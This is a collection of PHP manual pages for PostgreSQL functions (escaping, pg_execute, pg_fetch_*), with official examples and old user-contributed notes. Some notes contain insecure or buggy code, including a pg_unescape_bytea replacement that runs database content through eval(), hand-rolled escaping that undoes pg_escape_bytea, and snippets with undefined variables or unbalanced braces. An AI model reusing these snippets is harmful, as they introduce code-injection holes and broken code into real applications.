pg_end_copy() syncs the PostgreSQL frontend (usually a web server process) with the PostgreSQL server after doing a copy operation performed by pg_put_line(). pg_end_copy() must be issued, otherwise the PostgreSQL server may get out of sync with the frontend and will report an error.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_end_copy() example

<?php
  $conn = pg_pconnect("dbname=foo");
  pg_query($conn, "create table bar (a int4, b char(16), d float8)");
  pg_query($conn, "copy bar from stdin");
  pg_put_line($conn, "3\thello world\t4.5\n");
  pg_put_line($conn, "4\tgoodbye world\t7.11\n");
  pg_put_line($conn, "\\.\n");
  pg_end_copy($conn);
?>

See Also

  • pg_put_line() - Send a NULL-terminated string to PostgreSQL backend

User Contributed Notes

There are no user contributed notes for this page.


Escape a string for insertion into a bytea field

  • « pg_end_copy
  • pg_escape_identifier »
  • PHP Manual
  • PostgreSQL Functions
  • Escape a string for insertion into a bytea field

pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_bytea — Escape a string for insertion into a bytea field

Description

string pg_escape_bytea ([ resource $connection ], string $data )

pg_escape_bytea() escapes string for bytea datatype. It returns escaped string.

Note:

When you SELECT a bytea type, PostgreSQL returns octal byte values prefixed with '\' (e.g. \032). Users are supposed to convert back to binary format manually.

This function requires PostgreSQL 7.2 or later. With PostgreSQL 7.2.0 and 7.2.1, bytea values must be cast when you enable multi-byte support. i.e. INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 or later does not need a cast. The exception is when the client and backend character encoding does not match, and there may be multi-byte stream error. User must then cast to bytea to avoid this error.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text or binary data to be inserted into a bytea column.

Return Values

A string containing the escaped data.

Changelog

Version | Description
5.2.0 | connection added

Examples

Example #1 pg_escape_bytea() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a binary file
  $data = file_get_contents('image1.jpg');

  // Escape the binary data
  $escaped = pg_escape_bytea($data);

  // Insert it into the database
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '{$escaped}')");
?>

See Also

  • pg_unescape_bytea() - Unescape binary for bytea type
  • pg_escape_string() - Escape a string for query

User Contributed Notes

Michael 13-Mar-2014 12:10
using  pg_escape_bytea without 'E' escape tag
<?php
  // Die Binärdaten maskieren
  $escaped = pg_escape_bytea($data);

  // und in die Datenbank einfügen (falsch/wrong)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped')");

  // und in die Datenbank einfügen (richtig/right)
  pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', '$escaped')");
?>
Mike-RaWare 08-Jul-2010 11:03
To prevent any problems with encoding you could use hexadecimal or base64 input to save and retrieve data to the database:

<?php
  // Connect to the database
  $dbconn = pg_connect( 'dbname=foo' );

  // Read in a binary file
  $data = file_get_contents( 'image1.jpg' );

  // Escape the binary data
  $escaped = bin2hex( $data );

  // Insert it into the database
  pg_query( "INSERT INTO gallery (name, data) VALUES ('Pine trees', decode('{$escaped}' , 'hex'))" );

  // Get the bytea data
  $res = pg_query("SELECT encode(data, 'base64') AS data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo base64_decode($raw);
?>
gglockner AT NOSPAMdwaffler DOT com 17-Jul-2009 11:13
If you're getting errors about nonstandard use of \\ in a string literal, then you need to escape the encoded bytea as follows:

<?php
$escaped = pg_escape_bytea($data);
pg_query("INSERT INTO gallery (name, data) VALUES ('Pine trees', E'$escaped'::bytea)");
?>
ynzhang from lakeheadu of ca 18-Feb-2009 10:44
The reason pg_unescape_bytea() do not exactly reproduce the binary data created by pg_escape_bytea() is because the backslash \ and single quote ' are double escaped by the pg_escape_bytea() function. This will lead to image seems corrupted when retrieve from the bytea field. The proper way to escape&unescape a binary string into a PG bytea field as follow:

<?php
$escaped_data = str_replace(array("\\\\", "''"), array("\\", "'"), pg_escape_bytea($data));
/* and later unescape the escaped data from the bytea field with following to get the original binary data */

$original_data = pg_unescape_bytea($escaped_data));
?>

more details at: http://archives.postgresql.org/pgsql-php/2007-02/msg00014.php
Mocha 08-Aug-2003 02:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

<?php
function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
?>
php at tobias dot olsson dot be 17-Aug-2002 06:56
if you need to change back bytea from the db to normal data, this will do that:

<?php
function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));
?>

/Tobias


Escape a identifier for insertion into a text field

  • « pg_escape_bytea
  • pg_escape_literal »
  • PHP Manual
  • PostgreSQL Functions
  • Escape a identifier for insertion into a text field

pg_escape_identifier

(PHP 5 >= 5.4.4)

pg_escape_identifier — Escape a identifier for insertion into a text field

Description

string pg_escape_identifier ([ resource $connection ], string $data )

pg_escape_identifier() escapes a identifier (e.g. table, field names) for quering the database. It returns an escaped identifier string for PostgreSQL server. pg_escape_identifier() adds double quotes before and after data. Users should not add double quotes. Use of this function is recommended for identifier parameters in query. For SQL literals (i.e. parameters except bytea), pg_escape_literal() or pg_escape_string() muse be used. For bytea type fields, pg_escape_bytea() must be used instead.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Examples

Example #1 pg_escape_identifier() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Escape the table name data
  $escaped = pg_escape_identifier($table_name);

  // Select rows from $table_name
  pg_query("SELECT * FROM {$escaped};");
?>

See Also

  • pg_escape_literal() - Escape a literal for insertion into a text field
  • pg_escape_bytea() - Escape a string for insertion into a bytea field
  • pg_escape_string() - Escape a string for query

User Contributed Notes

There are no user contributed notes for this page.


Escape a literal for insertion into a text field

  • « pg_escape_identifier
  • pg_escape_string »
  • PHP Manual
  • PostgreSQL Functions
  • Escape a literal for insertion into a text field

pg_escape_literal

(PHP 5 >= 5.4.4)

pg_escape_literal — Escape a literal for insertion into a text field

Description

string pg_escape_literal ([ resource $connection ], string $data )

pg_escape_literal() escapes a literal for querying the PostgreSQL database. It returns an escaped literal in the PostgreSQL format. pg_escape_literal() adds quotes before and after data. Users should not add quotes. Use of this function is recommended instead of pg_escape_string(). If the type of the column is bytea, pg_escape_bytea() must be used instead. For escaping identifiers (e.g. table, field names), pg_escape_identifier() must be used.

Note:

This function has internal escape code and can also be used with PostgreSQL 8.4 or less.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Examples

Example #1 pg_escape_literal() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a text file (containing apostrophes and backslashes)
  $data = file_get_contents('letter.txt');

  // Escape the text data
  $escaped = pg_escape_literal($data);

  // Insert it into the database. Note that no quotes around {$escaped}
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', {$escaped})");
?>

See Also

  • pg_escape_identifier() - Escape a identifier for insertion into a text field
  • pg_escape_bytea() - Escape a string for insertion into a bytea field
  • pg_escape_string() - Escape a string for query

User Contributed Notes

There are no user contributed notes for this page.


Escape a string for query

  • « pg_escape_literal
  • pg_execute »
  • PHP Manual
  • PostgreSQL Functions
  • Escape a string for query

pg_escape_string

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_string — Escape a string for query

Description

string pg_escape_string ([ resource $connection ], string $data )

pg_escape_string() escapes a string for querying the database. It returns an escaped string in the PostgreSQL format without quotes. pg_escape_literal() is more preferred way to escape SQL parameters for PostgreSQL. addslashes() must not be used with PostgreSQL. If the type of the column is bytea, pg_escape_bytea() must be used instead. pg_escape_identifier() must be used to escape identifiers (e.g. table names, field names)

Note:

This function requires PostgreSQL 7.2 or later.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

data

A string containing text to be escaped.

Return Values

A string containing the escaped data.

Changelog

Version | Description
5.2.0 | connection added

Examples

Example #1 pg_escape_string() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Read in a text file (containing apostrophes and backslashes)
  $data = file_get_contents('letter.txt');

  // Escape the text data
  $escaped = pg_escape_string($data);

  // Insert it into the database
  pg_query("INSERT INTO correspondence (name, data) VALUES ('My letter', '{$escaped}')");
?>

See Also

  • pg_escape_bytea() - Escape a string for insertion into a bytea field

User Contributed Notes

ringerc at ringerc dot id dot au 25-Feb-2014 04:54
You should prefer to use pg_query_params, i.e. use parameterized queries, rather than using pg_escape_string. Or use the newer PDO interface with its parameterized query support.

If you must substitute values directly, e.g. in DDL commands that don't support execution as parameterized queries, do so with pg_escape_literal:

http://au1.php.net/manual/en/function.pg-escape-literal.php

Identifiers can't be used as query parameters. Always use pg_escape_identifier for these if they're substituted dynamically:

http://au1.php.net/manual/en/function.pg-escape-identifier.php

You should not need to change text encodings when using this function. Make sure your connection's client_encoding is set to the text encoding used by PHP, and the PostgreSQL client driver will take care of text encodings for you. No explicit utf-8 conversions should be necessary with a correctly set  client_encoding.
strata_ranger at hotmail dot com 08-Aug-2011 05:20
This may seem obvious, but remember that pg_escape_string escapes values for use as string literals in an SQL query -- if you need to escape arbitrary strings for use as SQL identifiers (column names, etc.), there doesn't seem to be a PHP function for that so you'll have to do that escaping yourself.  (PostgreSQL has an in-database function, quote_ident(), that does this.)

This can be an issue if your database contains mixed-case (or otherwise unusual) column names and you have a class interface managing your database/query interactions (for connecting to different types of databases).  If you don't double-quote your column names then postgreSQL will match them case-insensitively, but will label the results in all-lowercase (which differs from MySQL).

For example:

<?php
// Plain column identifier
$res = pg_query("Select columnName from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Doesn't work (throws E_NOTICE)
var_dump($row['columnname']); // Works

// Escaped column identifier
$res = pg_query("Select \"columnName\" from table");
$row = pg_fetch_assoc($res);

var_dump($row['columnName']); // Works
var_dump($row['columnname']); // Doesn't
?>
ppp 30-Jun-2011 09:55
pg_escape_string() won't cast array arguments to the "Array" string like php usually does; it returns NULL instead. The following statements all evaluate to true:

<?php
$a = array('foo', 'bar');

"$a" == 'Array';
(string)$a == 'Array';
$a . '' == 'Array';

is_null(pg_escape_string($a));
?>
strata_ranger at hotmail dot com 22-Jul-2010 07:40
Forthose curious, the exact escaping performed on the string may vary slightly depending on your database configuration.

For example, if your database's standard_conforming_strings variable is OFF, backslashes are treated as a special character and pg_escape_string() will ensure they are properly escaped.  If this variable is ON, backslashes will be treated as ordinary characters, and pg_escape_string() will leave them as-is.  In either case, the behavior matches the configuration of the database connection.
Nathan Bruer 08-Feb-2008 10:23
If your database is a UTF-8 database, you will run into problems trying to add some data into your database...

for securty issues and/or compatability you may need to use the: utf_encode() (http://php.net/utf8-encode) function.

for example:
<?php
$my_data = pg_escape_string(utf8_encode($_POST['my_data']));
?>
Gautam Khanna 29-Aug-2007 04:55
Security methods which you use depend on the specific purpose. For those who dont know, take a look at the following built-in PHP functions:

strip_tags()            to remove HTML characters
(also see htmlspecialchars)

escapeshellarg()      to escape shell commands etc
escapeshellcmd()

mysql_real_escape_string()     to escape mySQL commands.

Enjoy!

web dot expert dot panel at gmail dot com
johniskew2 at yahoo dot com 30-May-2006 06:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng 28-May-2006 01:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix 25-Apr-2006 12:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.


Sends a request to execute a prepared statement with given parameters, and waits for the result.

  • « pg_escape_string
  • pg_fetch_all_columns »
  • PHP Manual
  • PostgreSQL Functions
  • Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_execute

(PHP 5 >= 5.1.0)

pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.

Description

resource pg_execute ([ resource $connection ], string $stmtname , array $params )

Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_execute() is like pg_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. The statement must have been prepared previously in the current session. pg_execute() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The parameters are identical to pg_query_params(), except that the name of a prepared statement is given instead of a query string.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Warning

Elements are converted to strings by calling this function.

Return Values

A query result resource on success or FALSE on failure.

Examples

Example #1 Using pg_execute()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

See Also

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_query_params() - Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.

User Contributed Notes

nmmm at nmmm dot nu 05-May-2006 09:11
I am not 100% sure in this, but pg_exec() could return 0 as Connection ID.

because of that i change some of my code like this:

$dbres = pg_exec($SQL);

if ($dbres === false){
        echo "DB is down";
        exit;
}else{
        //do something
}


Fetches all rows in a particular result column as an array

  • « pg_execute
  • pg_fetch_all »
  • PHP Manual
  • PostgreSQL Functions
  • Fetches all rows in a particular result column as an array

pg_fetch_all_columns

(PHP 5 >= 5.1.0)

pg_fetch_all_columns — Fetches all rows in a particular result column as an array

Description

array pg_fetch_all_columns ( resource $result [, int $column = 0 ] )

pg_fetch_all_columns() returns an array that contains all rows (records) in a particular column of the result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

column

Column number, zero-based, to be retrieved from the result resource. Defaults to the first column if not specified.

Return Values

An array with all values in the result column.

FALSE is returned if column is larger than the number of columns in the result, or on any other error.

Examples

Example #1 pg_fetch_all_columns() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

// Get an array of all author names
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

See Also

  • pg_fetch_all() - Fetches all rows from a result as an array

User Contributed Notes

spambin at ya dot ru 21-Nov-2013 08:48
pg_fetch_all_columns() returns array (empty array) even if the result set in empty (while pg_fetch_all() returns FALSE when the result set is empty)

<?
$result = pg_query("
    SELECT 'something'
    WHERE 1 = 2
");
var_dump( pg_fetch_all($result) ); // boolean false
var_dump( pg_fetch_all_columns($result) ); // array(0){}
?>
strata_ranger at hotmail dot com 05-Apr-2009 03:43
Unfortunate that pg_fetch_all_columns() doesn't support fetching a column by its name -- if you want to do that, you'll need to use pg_field_num() as an intermediary:

For example:

<?php

if ($foo)
  $cols = "email_address";

else
  $cols = "last_name, middle_init";

$result = pg_query("Select first_name, $info, birthday from users_table");

// Problem -- does column #2 refer to the 'birthday' or 'middle_init' field?
$array = pg_fetch_all_columns($result, 2);

// Won't work, must use a column number instead of its name
$array = pg_fetch_all_columns($result, 'birthday');

// Works
$array = pg_fetch_all_columns($result, pg_field_num($result, 'birthday'));

?>
massiv at nerdshack dot com 22-Oct-2008 02:56
php 4 equivalent:

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = array();
while ($line = pg_fetch_array($result)) {
  array_push($arr, $line['name']);
}

var_dump($arr);

?>


Fetches all rows from a result as an array

  • « pg_fetch_all_columns
  • pg_fetch_array »
  • PHP Manual
  • PostgreSQL Functions
  • Fetches all rows from a result as an array

pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_all — Fetches all rows from a result as an array

Description

array pg_fetch_all ( resource $result )

pg_fetch_all() returns an array that contains all rows (records) in the result resource.

Note: This function sets NULL fields to the PHP NULL value.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

Return Values

An array with all rows in the result. Each row is an array of field values indexed by field name.

FALSE is returned if there are no rows in the result, or on any other error.

Examples

Example #1 PostgreSQL fetch all

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occurred.\n";
    exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occurred.\n";
    exit;
}

$arr = pg_fetch_all($result);

print_r($arr);

?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [id] => 1
            [name] => Fred
        )

    [1] => Array
        (
            [id] => 2
            [name] => Bob
        )

)

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

strata_ranger at hotmail dot com 11-Jun-2009 05:00
Be aware that pg_fetch_all() is subject to the same limitations as pg_fetch_assoc(), in that if your query returns multiple columns with the same name (or alias) then only the rightmost one will be returned in the associative array, other ones will not.

A simple example:
<?php
$res = pg_query(
"SELECT a.*, b.* -- Fetch all columns from both tables
FROM table1 AS a

LEFT OUTER JOIN table2 as b
USING (column)"
);

$rows = pg_fetch_all($res);
?>

In this example, since we're selecting columns via *, if any columns from table2 share the same names as those in table1, they will be the ones returned despite that table2 (as the optional side of an outer join) may return NULL values.

This is not a bug, just a limitation of associative arrays in general, and is easy enough to avoid by structuring your queries carefully and using column aliases to avoid confusion.
prefer_not_to at say dot com 02-Jun-2009 07:09
For those wondering, this function returns a two-dimentional array, the first dimension being a 0-based indexed array, the second dimension an associative.  So you might access the first authors surname using $authors[0]["surname"].

Certainly this is the case in PHP 5.2.9, I can't vouch for other versions though.
viniciusweb at gmail dot com 21-Mar-2005 03:20
This function returns NULL if the parameter is false.
10-Jun-2003 02:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com 16-May-2003 08:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
    $i = 0; // this is needed for the row integer in the looped pg_fetch_array
    if ($kind == "assoc") {
      while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
        $array_out[] = $row;
        $i++;
    }else{
      while ($row = pg_fetch_array($res)) {
        $array_out[] = $row;
      }
    }
    return $array_out;
  }
}
tasmanian at devil dot com 27-Mar-2003 07:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com 19-Feb-2003 09:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.


Fetch a row as an array

  • « pg_fetch_all
  • pg_fetch_assoc »
  • PHP Manual
  • PostgreSQL Functions
  • Fetch a row as an array

pg_fetch_array

(PHP 4, PHP 5)

pg_fetch_array — Fetch a row as an array

Description

array pg_fetch_array ( resource $result [, int $row [, int $result_type = PGSQL_BOTH ]] )

pg_fetch_array() returns an array that corresponds to the fetched row (record).

pg_fetch_array() is an extended version of pg_fetch_row(). In addition to storing the data in the numeric indices (field number) to the result array, it can also store the data using associative indices (field name). It stores both indicies by default.

Note: This function sets NULL fields to the PHP NULL value.

pg_fetch_array() is NOT significantly slower than using pg_fetch_row(), and is significantly easier to use.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

result_type

An optional parameter that controls how the returned array is indexed. result_type is a constant and can take the following values: PGSQL_ASSOC, PGSQL_NUM and PGSQL_BOTH. Using PGSQL_NUM, pg_fetch_array() will return an array with numerical indices, using PGSQL_ASSOC it will return only associative indices while PGSQL_BOTH, the default, will return both numerical and associative indices.

Return Values

An array indexed numerically (beginning with 0) or associatively (indexed by field name), or both. Each value in the array is represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Examples

Example #1 pg_fetch_array() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- Row 1 Author\n";
echo $arr[1] . " <- Row 1 E-mail\n";

// As of PHP 4.1.0, the row parameter is optional; NULL can be passed instead,
// to pass a result_type.  Successive calls to pg_fetch_array will return the
// next row.
$arr = pg_fetch_array($result, NULL, PGSQL_ASSOC);
echo $arr["author"] . " <- Row 2 Author\n";
echo $arr["email"] . " <- Row 2 E-mail\n";

$arr = pg_fetch_array($result);
echo $arr["author"] . " <- Row 3 Author\n";
echo $arr[1] . " <- Row 3 E-mail\n";

?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

strata_ranger at hotmail dot com 23-Aug-2009 10:53
Note that when using PGSQL_BOTH, numerically and associatively indexed fields are separate variables and treated as such:

<?php
$res = pg_query("Select 'foo' as bar");

$data = pg_fetch_array($res, 0, PGSQL_BOTH);

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "foo"
//   ["bar"] => string(3) "foo"
// }

// This won't affect $data['bar']
$data[0] = 'bar';

var_dump($data);
// Array(2)
// {
//   [0] => string(3) "bar"
//   ["bar"] => string(3) "foo"
// }
?>

If you want to have reference binding between your numeric and associative indexes, you'll have to establish that yourself:

<?php

$result = pg_query("Select 'foo' as bar");

$data = pg_fetch_row($result);

// Establish references between column name/number
$from = $data;
foreach($from as $cx => $value)
{
    $key = pg_field_name($result, $cx);
    if (is_string($key)) $data[$key] =& $data[$cx];
}

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "foo"
//   ["bar"] => &string(3) "foo"
// }
// Note the reference binding between $data[0] and $data['bar']

$data[0] = 'baz';

var_dump($data);
// Array(2)
// {
//   [0] => &string(3) "baz"
//   ["bar"] => &string(3) "baz"
// }

?>
anonymous 13-May-2005 11:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O 22-Feb-2005 06:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull 02-Feb-2005 10:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com 15-Sep-2003 03:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
    function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
    {
        $return = @pg_fetch_array ($result, $row, $result_type);
        return $return;
    }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl 17-Jun-2003 06:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org 13-Dec-2001 01:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins 28-Sep-2001 08:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com 23-Jul-2001 06:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
mkb at ele dot uri dot edu 28-Mar-2001 01:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net 06-Mar-2001 07:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

<?php
$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
?>
gherson at snet dot net 03-Jan-2001 06:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);


Fetch a row as an associative array

  • « pg_fetch_array
  • pg_fetch_object »
  • PHP Manual
  • PostgreSQL Functions
  • Fetch a row as an associative array

pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_assoc — Fetch a row as an associative array

Description

array pg_fetch_assoc ( resource $result [, int $row ] )

pg_fetch_assoc() returns an associative array that corresponds to the fetched row (records).

pg_fetch_assoc() is equivalent to calling pg_fetch_array() with PGSQL_ASSOC as the optional third parameter. It only returns an associative array. If you need the numeric indices, use pg_fetch_row().

Note: This function sets NULL fields to the PHP NULL value.

pg_fetch_assoc() is NOT significantly slower than using pg_fetch_row(), and is significantly easier to use.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

row

Row number in result to fetch. Rows are numbered from 0 upwards. If omitted or NULL, the next row is fetched.

Return Values

An array indexed associatively (by field name). Each value in the array is represented as a string. Database NULL values are returned as NULL.

FALSE is returned if row exceeds the number of rows in the set, there are no more rows, or on any other error.

Examples

Example #1 pg_fetch_assoc() example

<?php
$conn = pg_connect("dbname=publisher");
if (!$conn) {
  echo "An error occurred.\n";
  exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
  echo "An error occurred.\n";
  exit;
}

while ($row = pg_fetch_assoc($result)) {
  echo $row['id'];
  echo $row['author'];
  echo $row['email'];
}
?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

slurppp at hotmail dot fr 08-Jun-2012 11:37
Note that all pg_fetch_* function ignoring the original type of the data and always return strings. (for numbers too)
Alexey Loktionov (error at pochta dot ru) 10-Mar-2010 01:54
